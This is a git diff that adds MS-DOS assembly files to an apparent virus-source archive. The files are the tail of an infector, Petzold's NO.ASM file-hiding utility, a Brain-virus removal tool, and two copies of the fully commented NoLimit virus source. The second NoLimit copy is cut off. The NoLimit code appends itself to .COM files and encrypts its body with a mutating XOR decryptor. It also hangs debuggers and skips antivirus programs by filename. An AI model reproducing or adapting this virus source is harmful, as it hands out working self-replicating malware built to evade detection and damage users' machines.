ax,ds:[08h] ; AX = header size in paragraphs + mov cl,04h ; Multiply header size in paragrap... + shl ax,cl ; AX = header size + sub bx,ax ; Subtract header size from initia... + mov [si],bx ; Store initial IP + + stc ; Set carry flag + call write_file + + jmp virus_exit + +read_file proc near ; Read from file +write_file proc near ; Write to file + pushf ; Save flags at stack + mov ax,3d00h ; Open file (read); Create or trun... + sbb ah,al ; " " " " " " + xor cx,cx ; CX = file attributes + mov dx,1eh ; DX = offset of filename + + push ss ; Save SS at stack + pop ds ; Load DS from stack (SS) + + int 21h + mov bx,ax ; BX = file handle + pop ax ; Load AX from stack (flags) + jc error ; Error? Jump to error + + mov cx,ds:[1ah] ; CX = low-order word of file size + + push es ; Save ES at stack + pop ds ; Load DS from stack (ES) + + xor dx,dx ; Zero DX + mov ah,al ; AH = low-order byte of flags + sahf ; Store register AH into flags + + mov ah,3fh ; Read from file; Write to file + adc ah,dl ; " " " " " " + int 21h + + mov ah,3eh ; Close file + int 21h +error: + ret ; Return + endp + endp +code_end: + +end code_begin \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.no.asm b/MSDOS/Virus.MSDOS.Unknown.no.asm new file mode 100644 index 00000000..b134c938 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.no.asm @@ -0,0 +1,312 @@ +; NO.ASM -- Hides specified files from command that follows +; ====== + +CSEG Segment + Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG + Org 002Ch +Environment Label Word ; Segment of Environment is here + Org 0080h +Parameter Label Byte ; Parameter is here + Org 0100h +Entry: Jmp Begin ; Entry Point + +; Most Data (some more at end of program) +; --------------------------------------- + + db "Copyright 1986 Ziff-Davis Publishing Co.",1Ah + db " Programmed by Charles Petzold ",1Ah +SyntaxMsg db "Syntax: NO filespec command [parameters]$" +DosVersMsg db "NO: Needs DOS 2.0 +$" +FileSpecMsg db "NO: Incorrect File Spec$" +TooManyMsg db "NO: Too many files to hide$" +MemAllocMsg db "NO: Allocation Problem$" +CommandMsg db "NO: COMMAND Problem$" +Delimiters db 9,' ,;=' +FileList dw ? ; Storage of found files +FileCount dw 0 ; Count of found files +FileListEnd dw ? ; End of storage of found files +BreakState db ? ; Store original break state here +Comspec db 'COMSPEC=' ; String for Environment search +ParamBlock dw ? ; Parameter block for EXEC call + dw ?, ? + dw 5Ch, ? + dw 6Ch, ? +StackPointer dw ? ; Save SP during EXEC call + +; Check DOS Version +; ----------------- + +Begin: Mov AH, 30h ; Check for DOS Version + Int 21h ; through DOS call + Cmp AL, 2 ; See if it's 2.0 or above + Jae DosVersOK ; If so, continue + + Mov DX, Offset DosVersMsg ; Error message +ErrorExit: Mov AH, 9 ; Print String function call + Int 21h ; Do it + Int 20h ; And exit prematurely + +; Parse Command Line to get NO File specification +; ----------------------------------------------- + +ScanParam: Lodsb ; SUBROUTINE: Get byte + Cmp AL, 13 ; See if end of parameter + Je ErrorExit ; If so, exit + Mov DI, Offset Delimiters ; Check if delimiter + Mov CX, 5 ; There are 5 of them + Repne Scasb ; Scan the string + Ret ; And return + +DosVersOK: Mov DX, Offset SyntaxMsg ; Possible error msg + Mov SI, 1+Offset Parameter ; NO Parameter string + Cld ; Directions forward + +BegSearch: Call ScanParam ; Check byte in subroutine + Je BegSearch ; If delimiter, keep searching + Mov BX, SI ; Save pointer in BX + Dec BX ; BX points to NO file spec + +EndSearch: Call ScanParam ; Check byte in subroutine + Jne EndSearch ; If not delimiter, keep going + +; Construct full FilePath and save down at end of program +; ------------------------------------------------------- + + Dec SI ; Points after NO file spec + Xchg SI, BX ; SI points to beg, BX to end + Mov DI, Offset FullPath ; Points to destination + Cmp Byte Ptr [SI + 1], ':' ; See if drive spec included + Jnz GetDrive ; If not, must get the drive + Lodsw ; Otherwise, grab drive spec + And AL, 0DFh ; Capitalize drive letter + Jmp Short SaveDrive ; And skip next section + +GetDrive: Mov AH, 19h ; Get current drive + Int 21h ; through DOS + Add AL, 'A' ; Convert to letter + Mov AH, ':' ; Colon after drive letter + +SaveDrive: Stosw ; Save drive spec and colon + Mov AL, '\' ; Directory divider byte + Cmp [SI], AL ; See if spec starts at root + Jz HaveFullPath ; If so, no need to get path + Stosb ; Store that character + Push SI ; Save pointer to parameter + Mov SI, DI ; Destination of current path + Mov DL, [SI - 3] ; Drive letter specification + Sub DL, '@' ; Convert to number + Mov AH, 47h ; Get current directory + Int 21h ; through DOS + Mov DX, Offset FileSpecMsg ; Possible error message + Jc ErrorExit ; Exit if error + Sub AL, AL ; Search for terminating zero + Cmp [SI], AL ; Check if Root Directory + Jz RootDir ; If so, don't use it + Mov CX, 64 ; Number of bytes to search + Repnz Scasb ; Do the search + Dec DI ; DI points to last zero + Mov AL, '\' ; Put a backslash in there + Stosb ; So filespec can follow +RootDir: Pop SI ; Get back SI + +HaveFullPath: Mov CX, BX ; End of NO file spec + Sub CX, SI ; Number of bytes to transfer + Rep Movsb ; Transfer them + Sub AL, AL ; Terminating zero + Stosb ; Save it + Mov [FileList], DI ; Repository for found files + +; Fix up parameter and ParamBlock for eventual COMMAND load +; --------------------------------------------------------- + + Sub BX, 4 ; Points to new param begin + Mov AL, [Parameter] ; Old byte count of parameter + Add AL, 80h ; Add beginning of old param + Sub AL, BL ; Subtract beginning of new + Mov AH, ' ' ; Space separator + Mov Word Ptr [BX], AX ; Store it + Mov Word Ptr [BX + 2], 'C/' ; Add /C to beginning of rest + Mov AX, [Environment] ; Get environment segment + Mov [ParamBlock], AX ; Save it + Mov [ParamBlock + 2], BX ; Save parameter pointer + Mov [ParamBlock + 4], CS ; Save segment of ParamBlock + Mov [ParamBlock + 8], CS + Mov [ParamBlock + 10], CS + +; Find Files from NO File Specification +; ------------------------------------- + + Mov DX, Offset DTABuffer ; Set File Find buffer + Mov AH, 1Ah ; by calling DOS + Int 21h + + Mov DI, [FileList] ; Address of destination + Mov DX, Offset FullPath ; Search string + Sub CX, CX ; Search Normal files only + Mov AH, 4Eh ; Find first file + +FindFile: Int 21h ; Call DOS to find file + Jnc Continue ; If no error continue + Cmp AX, 18 ; If no more files + Jz NoMoreFiles ; get out of the loop + Mov DX, Offset FileSpecMsg ; Error message otherwise + Jmp ErrorExit ; Exit and print message + +Continue: Mov AX, DI ; Address of destination + Add AX, 512 ; See if near top of segment + Jc TooManyFiles ; If so, too many files + Cmp AX, SP ; See if getting too many + Jb StillOK ; If not, continue + +TooManyFiles: Mov DX, Offset TooManyMsg ; Otherwise error message + Jmp ErrorExit ; And terminate + +StillOK: Mov SI, 30+Offset DTABuffer ; Points to filename + Call AsciizTransfer ; Transfer it to list + Inc [FileCount] ; Kick up counter + Mov AH, 4Fh ; Find next file + Jmp FindFile ; By looping around + +NoMoreFiles: Mov [FileListEnd], DI ; Points after last file + Mov DI, [FileList] ; Points to end of find string + Mov CX, 64 ; Search up to 64 bytes + Mov AL, '\' ; For the backslash + Std ; Search backwards + Repnz Scasb ; Do the search + Mov Byte Ptr [DI + 2], 0 ; Stick zero in there + Cld ; Fix up direction flag + +; Stop Ctrl-Break Exits and Hide the files +; ---------------------------------------- + + Mov AX,3300h ; Get Break State + Int 21h ; By calling DOS + Mov [BreakState],DL ; Save it + Sub DL,DL ; Set it to OFF + Mov AX,3301h ; Set Break State + Int 21h ; By calling DOS + Mov BL, 0FFh ; Value to AND attribute + Mov BH, 02h ; Value to OR attribute + Call ChangeFileMode ; Hide all the files + +; Un-allocate rest of memory +; -------------------------- + + Mov BX, [FileListEnd] ; Beyond this we don't need + Add BX, 512 ; Allow 512 bytes for stack + Mov SP, BX ; Set new stack pointer + Add BX, 15 ; Prepare for truncation + Mov CL,4 ; Prepare for shift + Shr BX,CL ; Convert to segment form + Mov AH,4Ah ; Shrink allocated memory + Int 21h ; By calling DOS + Mov DX,Offset MemAllocMsg ; Possible Error Message + Jc ErrorExit2 ; Print it and terminate + +; Search for Comspec in Environment +; --------------------------------- + + Push ES ; We'll be changing this + Mov ES, [Environment] ; Set ES to Environment + Sub DI, DI ; Start at the beginning + Mov SI, Offset ComSpec ; String to search for + Mov DX, Offset CommandMsg ; Possible error message + +TryThis: Cmp Byte Ptr ES:[DI], 0 ; See if points to zero + Jz ErrorExit2 ; If so, we can't go on + Push SI ; Temporarily save these + Push DI + Mov CX, 8 ; Search string has 8 chars + Repz Cmpsb ; Do the string compare + Pop DI ; Get back the registers + Pop SI + Jz LoadCommand ; If equals, we've found it + Sub AL, AL ; Otherwise search for zero + Mov CX, -1 ; For 'infinite' bytes + Repnz Scasb ; Do the search + Jmp TryThis ; And try the next string + +; Load COMMAND.COM +; ----------------- + +LoadCommand: Add DI, 8 ; so points after 'COMSPEC=' + Push DS ; Switch DS and ES registers + Push ES + Pop DS + Pop ES + Mov [StackPointer],SP ; Save Stack Pointer + Mov DX, DI ; DS:DX = Asciiz of COMMAND + Mov BX, Offset ParamBlock ; ES:BX = parameter block + Mov AX, 4B00h ; EXEC function call + Int 21h ; Load command processor + +; Return from COMMAND.COM +; ----------------------- + + Mov AX, CS ; Current code segment + Mov DS, AX ; Reset DS to this segment + Mov ES, AX ; Reset ES to this segment + Mov SS, AX ; Reset stack segment to it + Mov SP, [StackPointer] ; Reset SP + Pushf ; Save error flag + Sub DL,DL ; Set Ctrl Break to OFF + Mov AX,3301h + Int 21h ; By calling DOS + Popf ; Get back error flag + Mov DX,Offset CommandMsg ; Set up possible error msg + Jnc Terminate ; And print if EXEC error + +; Unhide the Files, restore Ctrl-Break state, and exit +; ---------------------------------------------------- + +ErrorExit2: Mov AH,9 ; Will print the string + Int 21h ; Print it +Terminate: Mov BL, 0FDh ; AND value for change + Mov BH, 00h ; OR value for change + Call ChangeFileMode ; Change file attributes + Mov DL,[BreakState] ; Original break-state + Mov AX,3301h ; Change the break-state + Int 21h ; by calling DOS + Int 20h ; Terminate + +; SUBROUTINE: Change File Mode (All files, BL = AND, BH = OR) +; ----------------------------------------------------------- + +ChangeFileMode: Mov CX, [FileCount] ; Number of files + Jcxz EndOfChange ; If no files, do nothing + Mov SI, [FileList] ; Beginning of list + Mov DX, [FileListEnd] ; End of List +ChangeLoop: Push SI ; Save pointer + Mov SI, Offset FullPath ; Preceeding path string + Mov DI, DX ; Destination of full name + Call AsciizTransfer ; Transfer it + Dec DI ; Back up to end zero + Pop SI ; Get back pointer to filename + Call AsciizTransfer ; Transfer it + Push CX ; Save the counter + Mov AX, 4300h ; Get attribute + Int 21h ; by calling DOS + And CL, BL ; AND with BL + Or CL, BH ; OR with BH + Mov AX, 4301h ; Now set attribute + Int 21h ; by calling DOS + Pop CX ; Get back counter + Loop ChangeLoop ; And do it again if necessary +EndOfChange: Ret ; End of subroutine + +; SUBROUTINE: Asciiz String Transfer (SI, DI in, returned incremented) +; -------------------------------------------------------------------- + +AsciizTransfer: Movsb ; Transfer Byte + Cmp Byte Ptr [DI - 1], 0 ; See if it was end + Jnz AsciizTransfer ; If not, loop + Ret ; Or leave subroutine + +; Variable length data stored at end +; ---------------------------------- + +DTABuffer Label Byte ; For file find calls +FullPath equ DTABuffer + 43 ; For file path and names +CSEG EndS ; End of the segment + End Entry ; Denotes entry point + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.nobrain.asm b/MSDOS/Virus.MSDOS.Unknown.nobrain.asm new file mode 100644 index 00000000..ea9dbedf --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.nobrain.asm @@ -0,0 +1,331 @@ +; Date : 27-1-1989 +; Ver : 1.04 +; Program : Kill the Brain Virus +Cseg Segment Para Public 'MyCode' + Assume cs:Cseg,ds:Cseg + Org 100h +Start: Mov dx,offset CRight ;print copyright notice + Call DispStr + Mov ah,19h ;get current drive + Int 21h + Mov Drive,al ;save it + Call GetDrive ;Get drive if possible + Jc Exit + Call ChVirus ;virus present? + Jc Exit ;exit if not + Call FindBoot ;Find correct boot sector + Mov dx,offset VirusKill + Call DispStr + Call ReadFats ;Read the FAT tables + Jc Exit + Call CheckBad +Exit: Mov ax,4C00h + Int 21h +FindBoot Proc + Mov dl,[si+6] + Mov ax,18 ;9 sectors/track * 2 sides + Mov cl,[si+8] + Mul cl + Or dl,dl + Jz Fb1 + Add ax,10 ;Move to the next side +Fb1: Mov dx,ax ;read this sector + Mov cx,1 ;Read one sector + Mov bx,offset PrgEnd ;Read it here + Mov al,Drive ;Get drive number + Int 25h ;Read interrupt + Jnc Fb2 + Add sp,2 + Mov dx,offset MesOh1 + Call DispStr + Stc + Ret +Fb2: Add sp,2 + Xor dx,dx ;Write at boot + Mov cx,1 ;Write one sector + Mov bx,offset PrgEnd ;Write from here + Mov al,Drive ;Get drive number + Int 26h ;Write interrupt + Jnc Fb3 + Add sp,2 + Mov dx,offset MesOh2 ;Print message + Call DispStr + Stc + Ret +Fb3: Add sp,2 + Clc + Ret +FindBoot Endp +PointTo Proc + Push bx + Mov dx,ax + Add ax,ax + Add ax,dx + Mov dx,ax + Shr ax,1 ;Cluster * 1.5 + Mov bx,offset PrgEnd + Add bx,ax + Mov ax,ds:[bx] ;Get entry + Test dx,1 + Jnz Point1 + And ax,0FFFh + Jmp short Point0 +Point1: Shr ax,1 + Shr ax,1 + Shr ax,1 + Shr ax,1 +Point0: Pop bx + Ret +PointTo Endp +ReadFats Proc + Mov bx,offset PrgEnd + Mov al,Drive + Mov cx,4 ;read FAT1 and FAT2 + Mov dx,1 ;FAT sectors + Int 25h ;Read FAT tables + Jnc Rf1 + Add sp,2 + Mov dx,offset FatError + Call DispStr + Stc + Ret +Rf1: Add sp,2 + Clc + Ret +ReadFats Endp + +CheckBad Proc + Call FindBad ;Find real boot sector + Call WriteFats +Exit1: Ret +CheckBad Endp +FindBad Proc + Mov cx,354 ;Check 354 clusters + Mov ax,2 ;start with cluster 2 + Mov bx,ax +FM: Call PointTo ;Find where it points + Cmp ax,0FF7h ;Is it bad? + Jz ChkBd ;Check if realy bad +FindMore1: Inc bx + Mov ax,bx + Loop FM + Ret +ChkBd: Push ax + Call CheckCluster ;bx=cluster number, try to read + Pop ax + Jmp short FindMore1 +FindBad Endp +WriteFats Proc + Mov bx,offset PrgEnd + Mov al,Drive + Mov cx,4 ;FAT1 and FAT2 + Mov dx,1 ;Start of FAT sectors + Int 26h ;Write FAT tables + Jnc Wf1 ;Jump if not fail + Add sp,2 + Mov dx,offset MesOh3 ;Write error + Call DispStr + Stc + Ret +Wf1: Add sp,2 + Clc + Ret +WriteFats Endp +CheckCluster Proc + Push bx + Push cx + Sub bx,2 + Sal bx,1 + Add bx,12 ;bx=sector number + Mov dx,bx ;sector + Mov cx,2 ;2 sectors + Mov bx,offset PrgEnd+205 + Mov al,Drive + Int 25h ;Read sectors + Jnc QRc1 + Add sp,2 + Mov al,2 ;err 2=try more + Pop cx + Pop bx + Ret +QRc1: Add sp,2 + Pop cx + Pop bx ;Mark cluster bx as not bad + Mov ax,bx + Push bx + Mov dx,ax + Add ax,ax + Add ax,dx + Mov dx,ax + Shr ax,1 ;Cluster * 1.5 + Mov bx,offset PrgEnd + Add bx,ax + Mov ax,ds:[bx] ;Get entry + Test dx,1 + Jnz QPo1 + And ax,0F000h + Jmp short QPo2 +QPo1: And ax,000Fh +QPo2: Mov ds:[bx],ax ;Write entry to FAT1 + Mov ds:[bx+1024],ax ;Write entry to FAT2 + Pop bx + Ret +CheckCluster Endp + +ChVirus Proc + Call ReadBoot ;Read the boot sector + Jnc ChVirus1 + Ret +ChVirus1: Mov si,offset PrgEnd + Mov dx,offset MesBad ;Assume bad news + Cmp word ptr [si+4],1234h + Jz InThere + Mov dx,offset MesGood ;Assume all OK + Mov di,436 ;Vector of interrupt 13h + Push es + Xor ax,ax + Mov es,ax + Mov ax,es:[di+2] ;get segment of the interrupt + Pop es + Cmp ax,0C800h + Jb InThere + Mov dx,offset MesBad1 ;active now! + Call DispStr + Mov bx,offset PrgEnd + Mov ah,2 ;Read + Mov al,1 ;1 sector + Mov dl,Drive + Xor dh,dh ;head number + Xor ch,ch ;track number + Mov cl,1 ;sector 1 + Int 6Dh ;Virus uses interrupt 6Dh + Mov si,offset PrgEnd + Mov dx,offset MesBad + Cmp word ptr [si+4],1234h + Jz InThere1 + Mov dx,offset MesGood + Call DispStr + Stc ;No need to do more. + Ret +InThere: Call DispStr + Clc ;Do more + Ret +InThere1: Call DispStr ;write bad news + Mov dx,offset MesBad2 ;No lasting effect + Jmp short InThere +ChVirus Endp +ReadBoot Proc + Mov bx,offset PrgEnd ;Put it here + Mov al,Drive ;Drive to use + Mov cx,1 ;One sector + Xor dx,dx ;Boot sector + Int 25h ;Read it + Jnc P0 + Add sp,2 + Mov dx,offset MesBoot + Cmp ah,80h ;Time-out? + Jz P1 + Mov dx,offset MesBoot1 +P1: Call DispStr + Stc ;Error + Ret ;Go +P0: Add sp,2 + Clc ;No error + Ret ;Go +ReadBoot Endp +GetDrive Proc + Mov si,80h + Mov cl,[si] ;Get length of command tail + Xor ch,ch + Or cx,cx + Jnz Lab1 + Cmp byte ptr Drive,2 + Jae DriveError1 + Clc + Ret +Lab1: Add si,cx + Inc si + Mov byte ptr [si],0 ;Command ends with 0 + Mov si,81h + Cld +SpOut: Lodsb + Cmp al,32 + Jz SpOut ;Skip blanks + Or al,al + Jnz Stan1 + Ret + +Stan1: Lodsb + Or al,al + Jnz Check1 + Ret +Check1: Cmp al,':' + Jnz Stan1 + Cmp si,84h +DriveCheck: Jb DriveError + Mov al,[si-2] + And al,223 ;Convert to upper case + Cmp al,'A' + Jb DriveError1 + Cmp al,'B' + Ja DriveError1 + Sub al,65 ;Convert drive to 0 or 1 + Mov Drive,al + Clc + Ret +DriveError: Mov dx,offset Err8 ;Drive expected + Call DispStr + Stc + Ret +DriveError1: Mov dx,offset Err9 ;Invalid drive + Call DispStr + Stc + Ret +GetDrive Endp +DispStr Proc + Mov ah,9 + Int 21h + Ret +DispStr Endp + +CRight db 13,10 + db 'Kill the virus Ver 1.04, 27-1-1989',13,10 + db '(C) Fragakis Stelios 1988,1989',13,10,13,10,'$' + + +Err8 db 'Error 8 : Drive expected.$' +Err9 db 'Error 9 : Invalid drive specified. Must be A or B.$' +MesBoot db 13,10 + db 'Program execution aborted. Door open?',13,10,'$' +MesBoot1 db 13,10 + db 'I can not read the boot sector.',13,10 + db 'Disk can not contain the virus .',13,10,'$' +FatError db 13,10 + db 'Sorry, I can not read the FAT tables.',13,10 + db 'FAT corrections not written to disk.',13,10,'$' +VirusKill db 'Virus was successfully killed.',13,10,'$' +MesOh1 db 'DISK ERROR : I can not read the correct boot sector.' + db 13,10,'$' +MesOh2 db 'Failed to write correct boot sector in boot area.' + db 13,10,'$' +MesOh3 db 'Failed to write FAT tables. Corrections lost.' + db 13,10,'$' +MesGood db 'Good News : The disk is not contaminated.' + db 13,10,'$' +MesBad db 'Bad News : The disk is contaminated.' + db 13,10,'$' + +MesBad1 db '* WARNING *',13,10 + db 'Virus is active right now !',13,10,'$' + +MesBad2 db 13,10 + db 'Remove the disk after the virus is killed',13,10 + db 'to avoid the risk of contamination.',13,10,13,10,'$' + +Count db 0 ;Count 0..58 +Drive db 0 ;Current drive + +PrgEnd: +Cseg Ends + End Start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.nolimit1.a86 b/MSDOS/Virus.MSDOS.Unknown.nolimit1.a86 new file mode 100644 index 00000000..71b45f66 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.nolimit1.a86 @@ -0,0 +1,266 @@ +; +; NoLimit Virus by John Tardy / TridenT +; +; Limited version of Servant Virus + +Version Equ 1 ; Initial release. + + Org 0h ; Creates a .BIN file. + +; This piece of code is located at the begin of the file + +Start: Jmp MainVir ; Jump to the main virus. + + Db '*' ; Infection marker. + +; This will be appended to the victim + +MainVir: Lea Si,Decr ; This is the decryptor, which +DecrOfs Equ $-2 ; is mutated from the main + Mov Cx,DecrLen ; virus. It uses a simple xor +Decrypt: Xor B [Si],0 ; algorithm. It uses three +DecVal Equ $-1 ; different index regs, Si, Di +Incer: Inc Si ; or Bx. The Xor OpCode can be +LoopType: Loop Decrypt ; 80h or 82h and it's Loop or +MainLen Equ $-Mainvir ; LoopNz. + +; From here everything is encrypted + +Decr: Call On1 ; Get Offset of the appended +On1: Pop BP ; virus by pushing the call on + Sub BP,On1 ; the stack and retrieve the + ; address. + + Mov W TrapIt[Bp],KillDebug ; This routine restores the + Lea Si,OrgPrg[Bp] ; beginning of the original +TrapIt Equ $-2 ; file, except when run from + Mov Di,100h ; a debugger. It will then + Push Di ; put the routine at + Push Ax ; KillDebug in place of that, + Movsw ; this locking the system + Movsw ; after infection and + Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN. + Mov W TrapIt[Bp],OrgPrg ; + + Mov Ah,19h ; We don't want to infect + Int 21h ; programs on floppy drive, + Cmp Al,2 ; we then go to NoHD. + Jb NoHD ; + + Mov Ah,1ah ; Use a new DTA. + Mov Dx,0fd00h ; + Int 21h ; + + In Al,21h ; This makes DOS DEBUG to + Or Al,2 ; hang and thus making + Out 21h,Al ; beginning virus-researchers + Xor Al,2 ; a hard time. + Out 21h,Al ; + + Mov Ah,4eh ; Search a .COM file in the +Search: Lea Dx,FileSpec[BP] ; current directory. + Xor Cx,Cx ; + Int 21h ; + + Jnc Found ; If found, goto found, +NoHD: Jmp Ready ; else goto ready. + +KillDebug: Cli ; The routine that will be + Jmp KillDebug ; activated by the antidebug + ; part. + + Db '[NoLimit] John Tardy / Trident ' + +; Here follows a table of filenames to avoid with infecting. + +Tabel Db 'CA' ; Catcher (Gobbler). + Db 'VA' ; Validate (McAfee). + Db 'GU' ; Guard (Dr. Solomon). + Db 'CO' ; Command.Com (Microsoft). + Db '4D' ; 4Dos (JP Software). + Db 'VS' ; VSafe (CPav). + Db 'TB' ; TbDel (Esass). +TabLen Equ $-Tabel + + +Found: Mov Bx,[0fd1eh] ; This routine checks if + Lea Si,Tabel[Bp] ; the candidate file begins + Mov Cx,TabLen/2 ; with the chars in the table +ChkNam: Lodsw ; above. If so, it goes to + Cmp Ax,Bx ; SearchNext. + Je SearchNext ; + Loop ChkNam ; + + mov dx,0fd1eh ; Open the file with only + Mov Ax,3d00h ; read access. + Int 21h ; + + Xchg Ax,Bx ; Put Filehandle to BX. + + Mov Ah,45h ; Duplicate Filehandle and + Int 21h ; use the new one (confuses + Xchg Ax,Bx ; some resident monitoring + ; software (TBFILE)). + + mov Ax,1220h ; This is a tricky routine + push bx ; used to get the offset + int 2fh ; to the File Handle Table, + mov bl,es:[di] ; where we can change + Mov Ax,1216h ; directly some things. + int 2fh ; + pop bx ; + mov ds,es ; + + mov byte ptr [di+2],2 ; File now open with write + ; access. + + mov al,b [di+4] ; Store old file attributes + mov b [di+4],0 ; and clear it. + push ax ; + + push ds ; Store FHT on the stack. + push di ; + + mov ds,cs ; Restore old Ds and Es + mov es,cs ; (with .COM equal to Cs). + + Mov Ah,3fh ; Read the first 4 bytes + Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed + Mov Cx,4 ; (the call remember?)). + Int 21h ; + + Mov Ax,OrgPrg[BP] ; Check if it is a renamed + Cmp Ax,'ZM' ; .EXE file. If so, goto + Je ExeFile ; ExeFile. + Cmp Ax,'MZ' ; + Je ExeFile ; + + Cmp B OrgPrg[3][Bp],'*' ; Check if already infected. + + Jne Infect ; If not so, goto Infect. + +ExeFile: Call Close ; Call file close routine. + +SearchNext: Mov Ah,4fh ; And search the next victim. + Jmp Search ; + +Infect: Mov Ax,4202h ; Jump to EOF. + Cwd ; + Xor Cx,Cx ; + Int 21h ; + + Sub Ax,3 ; Calculate the Jump and the + Mov CallPtr[BP+1],Ax ; decryptor offset values. + Add Ax,(Offset Decr+0ffh) ; + Mov DecrOfs[Bp],Ax ; + + Call EncryptIt ; Call Encryption engine. + + Mov Ah,40h ; Write the decoder to the + Lea Dx,MainVir[Bp] ; end of the file. + Mov Cx,MainLen ; + Int 21h ; + + Mov Ah,40h ; And append the encrypted + Lea Dx,EndOfVir[BP] ; main virus body to it + Mov Cx,DecrLen ; also. + Int 21h ; + + Mov Ax,4200h ; Jump to the beginning of + Cwd ; the file. + Xor Cx,Cx ; + Int 21h ; + + Mov Ah,40h ; And write the jump to the + Lea Dx,CallPtr[BP] ; over the first 4 bytes of + Mov Cx,4 ; the file. + Int 21h ; + + Call Close ; Call close routine. + +Ready: Mov Ah,1ah ; Restore the DTA. + Mov Dx,80h ; + Int 21h ; + + Pop Ax ; Restore error register. + + Ret ; Return to host (at 100h). + +Close: Pop Si + + pop di ; Restore FHT offset again. + pop ds ; + + or b [di+6],40h ; Do not change file date/time + ; stamps. + + pop ax ; Restore file attributes. + mov b [di+4],al ; + + Mov Ah,3eh ; Close file. + Int 21h ; + + mov ds,cs ; Restore Ds segment. + + Push Si + Ret + +CallPtr Db 0e9h,0,0 ; Here the jump is generated. + +FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker. + +OrgPrg: Int 20h ; Original 4 bytes of the + Nop ; host program. + Nop ; + +EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a + Mov Ds,Ax ; random value). + Mov Ah,B Ds:[046ch] ; + + Mov Ds,Cs ; If Ah is zero, goto + Cmp Ah,0 ; EncryptIt + Je EncryptIt ; + +GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body + Lea Si,Decr[Bp] ; to the address just at the + Lea Di,EndOfVir[Bp] ; end of the virus. + Mov Cx,DecrLen ; +Encrypt: Lodsb ; + Xor Al,Ah ; + Stosb ; + Loop Encrypt ; + + Xor B Decrypt[Bp],2 ; Make the Xor variable. + + Test Ah,4 ; Make the Loop variable + Jc NoGarble ; (xor works like a switch + Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h). + + Xchg Ah,Al ; Read the different + And Ax,0003h ; Si, Di, Bx instructions + Mov Si,Ax ; from the table and store + Add Si,PolyTable ; them into the decrytor, thus + Add Si,Bp ; making it recognizable only + Lodsb ; at 4 bytes. (or nibble + Mov B MainVir[Bp],Al ; checking is usable). + Add Si,3 ; + Lodsb ; + Mov B Decrypt[Bp+1],Al ; + Add Si,3 ; + Lodsb ; + Mov B Incer[Bp],Al ; + +NoGarble: Ret ; Return to called + +; Table with functions for polymorphing + +PolyTable Equ $ + Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si + Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si + Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si + + DB Version ; Virus version number + +DecrLen Equ $-Decr + +EndOfVir Equ $ diff --git a/MSDOS/Virus.MSDOS.Unknown.nolimit1.asm b/MSDOS/Virus.MSDOS.Unknown.nolimit1.asm new file mode 100644 index 00000000..71b45f66 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.nolimit1.asm @@ -0,0 +1,266 @@ +; +; NoLimit Virus by John Tardy / TridenT +; +; Limited version of Servant Virus + +Version Equ 1 ; Initial release. + + Org 0h ; Creates a .BIN file. + +; This piece of code is located at the begin of the file + +Start: Jmp MainVir ; Jump to the main virus. + + Db '*' ; Infection marker. + +; This will be appended to the victim + +MainVir: Lea Si,Decr ; This is the decryptor, which +DecrOfs Equ $-2 ; is mutated from the main + Mov Cx,DecrLen ; virus. It uses a simple xor +Decrypt: Xor B [Si],0 ; algorithm. It uses three +DecVal Equ $-1 ; different index regs, Si, Di +Incer: Inc Si ; or Bx. The Xor OpCode can be +LoopType: Loop Decrypt ; 80h or 82h and it's Loop or +MainLen Equ $-Mainvir ; LoopNz. + +; From here everything is encrypted + +Decr: Call On1 ; Get Offset of the appended +On1: Pop BP ; virus by pushing the call on + Sub BP,On1 ; the stack and retrieve the + ; address. + + Mov W TrapIt[Bp],KillDebug ; This routine restores the + Lea Si,OrgPrg[Bp] ; beginning of the original +TrapIt Equ $-2 ; file, except when run from + Mov Di,100h ; a debugger. It will then + Push Di ; put the routine at + Push Ax ; KillDebug in place of that, + Movsw ; this locking the system + Movsw ; after infection and + Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN. + Mov W TrapIt[Bp],OrgPrg ; + + Mov Ah,19h ; We don't want to infect + Int 21h ; programs on floppy drive, + Cmp Al,2 ; we then go to NoHD. + Jb NoHD ; + + Mov Ah,1ah ; Use a new DTA. + Mov Dx,0fd00h ; + Int 21h ; + + In Al,21h ; This makes DOS DEBUG to + Or Al,2 ; hang and thus making + Out 21h,Al ; beginning virus-researchers + Xor Al,2 ; a hard time. + Out 21h,Al ; + + Mov Ah,4eh ; Search a .COM file in the +Search: Lea Dx,FileSpec[BP] ; current directory. + Xor Cx,Cx ; + Int 21h ; + + Jnc Found ; If found, goto found, +NoHD: Jmp Ready ; else goto ready. + +KillDebug: Cli ; The routine that will be + Jmp KillDebug ; activated by the antidebug + ; part. + + Db '[NoLimit] John Tardy / Trident ' + +; Here follows a table of filenames to avoid with infecting. + +Tabel Db 'CA' ; Catcher (Gobbler). + Db 'VA' ; Validate (McAfee). + Db 'GU' ; Guard (Dr. Solomon). + Db 'CO' ; Command.Com (Microsoft). + Db '4D' ; 4Dos (JP Software). + Db 'VS' ; VSafe (CPav). + Db 'TB' ; TbDel (Esass). +TabLen Equ $-Tabel + + +Found: Mov Bx,[0fd1eh] ; This routine checks if + Lea Si,Tabel[Bp] ; the candidate file begins + Mov Cx,TabLen/2 ; with the chars in the table +ChkNam: Lodsw ; above. If so, it goes to + Cmp Ax,Bx ; SearchNext. + Je SearchNext ; + Loop ChkNam ; + + mov dx,0fd1eh ; Open the file with only + Mov Ax,3d00h ; read access. + Int 21h ; + + Xchg Ax,Bx ; Put Filehandle to BX. + + Mov Ah,45h ; Duplicate Filehandle and + Int 21h ; use the new one (confuses + Xchg Ax,Bx ; some resident monitoring + ; software (TBFILE)). + + mov Ax,1220h ; 